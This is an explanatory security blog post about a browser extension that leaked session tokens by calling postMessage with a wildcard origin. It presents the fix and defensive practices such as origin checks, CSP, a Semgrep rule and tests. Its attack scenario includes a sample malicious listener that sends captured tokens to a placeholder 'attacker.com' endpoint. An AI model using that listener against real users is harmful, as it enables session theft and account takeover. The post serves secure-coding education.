Wildcard PostMessage Leak: How One Character Exposed User Sessions

Introduction

Browser extensions have become an integral part of our web experience, but they also introduce unique security challenges—especially when communicating between different contexts. Recently, a significant vulnerability was discovered and fixed in a browser extension that could have exposed user session tokens and personal data to any website a user visited.

This wasn't a sophisticated exploit requiring deep technical knowledge. It was a simple configuration error that could have had devastating consequences: using a wildcard (*) as the target origin in window.postMessage(). Let's dive into what went wrong, how it was fixed, and what every developer should learn from this incident.

The Vulnerability Explained

What is postMessage?

The window.postMessage() API enables secure cross-origin communication between different windows, iframes, or browser contexts. It's designed with security in mind—if used correctly. The method signature looks like this:

window.postMessage(message, targetOrigin, [transfer])

The targetOrigin parameter is crucial: it specifies which origin should receive the message. This is your security gate.

The Security Flaw

In the vulnerable code, the application was sending sensitive authentication data using a wildcard origin:

// VULNERABLE CODE ❌
window.postMessage({ token: encodedToken, userData }, "*")

That innocent-looking asterisk (*) means "send this message to ANY origin." Here's what was being broadcast:

• Session tokens: The keys to the kingdom for authenticated sessions
• User data: Personal information associated with the account

How Could This Be Exploited?

Imagine this attack scenario:

1. A user successfully authenticates with the browser extension
2. The application sends the session token via postMessage with * as the target
3. The user visits a malicious website (or a legitimate site with XSS vulnerabilities)
4. That site has a simple listener running:

// Malicious site code
window.addEventListener('message', (event) => {
    if (event.data.token && event.data.userData) {
        // Jackpot! Send stolen credentials to attacker's server
        fetch('https://attacker.com/steal', {
            method: 'POST',
            body: JSON.stringify(event.data)
        });
    }
});

The attacker now has:
- Full session access to the user's account
- Personal information (email, profile data)
- The ability to impersonate the user

Real-World Impact

This vulnerability could enable:

• Account takeover: Attackers could use stolen tokens to access user accounts
• Data exfiltration: Personal information could be harvested at scale
• Lateral attacks: Compromised accounts could be used to attack other users or systems
• Privacy violations: User data could be sold or exploited

The Fix

The solution was elegantly simple—replace the wildcard with a specific, trusted origin:

// BEFORE (Vulnerable) ❌
window.postMessage({ token: encodedToken, userData }, "*")

// AFTER (Secure) ✅
window.postMessage({ token: encodedToken, userData }, window.location.origin)

How This Solves the Problem

By specifying window.location.origin, the message can only be received by code running on the same origin (protocol + domain + port) as the sender. This means:

• Origin validation: Only the intended recipient can access the message
• No cross-origin leakage: Malicious sites on different origins cannot intercept the data
• Defense in depth: Even if a user visits a compromised site, the tokens remain protected

The Security Improvement

This fix implements the principle of least privilege. Instead of broadcasting sensitive data to the entire web, it restricts access to only the necessary context. It's the difference between shouting your password in a crowded room versus whispering it to the person who needs it.

Prevention & Best Practices

1. Never Use Wildcard Origins for Sensitive Data

The golden rule: Never use "*" when sending sensitive information via postMessage.

// NEVER do this with sensitive data ❌
window.postMessage(sensitiveData, "*")

// Always specify the target origin ✅
window.postMessage(sensitiveData, "https://trusted-domain.com")

2. Validate Message Origins on Receipt

Always verify the sender's origin when receiving messages:

window.addEventListener('message', (event) => {
    // Validate the sender's origin
    if (event.origin !== 'https://trusted-domain.com') {
        console.warn('Rejected message from untrusted origin:', event.origin);
        return;
    }

    // Process the message
    handleTrustedMessage(event.data);
});

3. Use Content Security Policy (CSP)

Implement CSP headers to restrict which origins can interact with your application:

Content-Security-Policy: default-src 'self'; connect-src 'self' https://api.trusted.com

4. Implement Static Analysis

Use tools like Semgrep (which detected this vulnerability) to catch these issues during development:

# Semgrep rule example
rules:
  - id: wildcard-postmessage
    pattern: window.postMessage($MSG, "*")
    message: "Wildcard origin in postMessage can leak sensitive data"
    severity: ERROR

5. Security Standards & References

This vulnerability relates to several established security standards:

• CWE-345: Insufficient Verification of Data Authenticity
• CWE-359: Exposure of Private Personal Information to an Unauthorized Actor
• OWASP Top 10: A01:2021 – Broken Access Control
• OWASP ASVS: V1.4 Access Control Architectural Requirements

6. Code Review Checklist

When reviewing code that uses postMessage, ask:

• [ ] Is the target origin explicitly specified?
• [ ] Are we sending sensitive data?
• [ ] Do we validate the sender's origin when receiving messages?
• [ ] Could this message be intercepted by malicious code?
• [ ] Have we tested with different origins?

7. Testing Strategies

Create unit tests that verify origin restrictions:

describe('postMessage security', () => {
    it('should only send to same origin', () => {
        const postMessageSpy = jest.spyOn(window, 'postMessage');

        sendAuthToken(token, userData);

        expect(postMessageSpy).toHaveBeenCalledWith(
            expect.any(Object),
            window.location.origin
        );
    });
});

Conclusion

This vulnerability serves as a powerful reminder that security often comes down to the smallest details. A single character—the wildcard *—was the difference between a secure authentication flow and a potential data breach affecting all users.

The key takeaways:

1. PostMessage is powerful but dangerous when misconfigured
2. Always specify explicit origins for sensitive communications
3. Validate origins on both sides of the communication channel
4. Use automated tools like Semgrep to catch these issues early
5. Security is everyone's responsibility—not just the security team

As developers, we must remain vigilant about these "small" configuration choices. They're often the weakest links in our security chain. Take the time to review your own codebases for similar patterns, implement proper origin validation, and make security checks a standard part of your development workflow.

Remember: secure coding isn't about writing more code—it's about writing careful code. Sometimes, the most important security fix is changing a single character from "*" to window.location.origin.

Have you checked your postMessage implementations lately?

Special thanks to the security team for identifying and quickly remediating this vulnerability through automated scanning. This is a perfect example of how modern security tooling can catch issues before they reach production.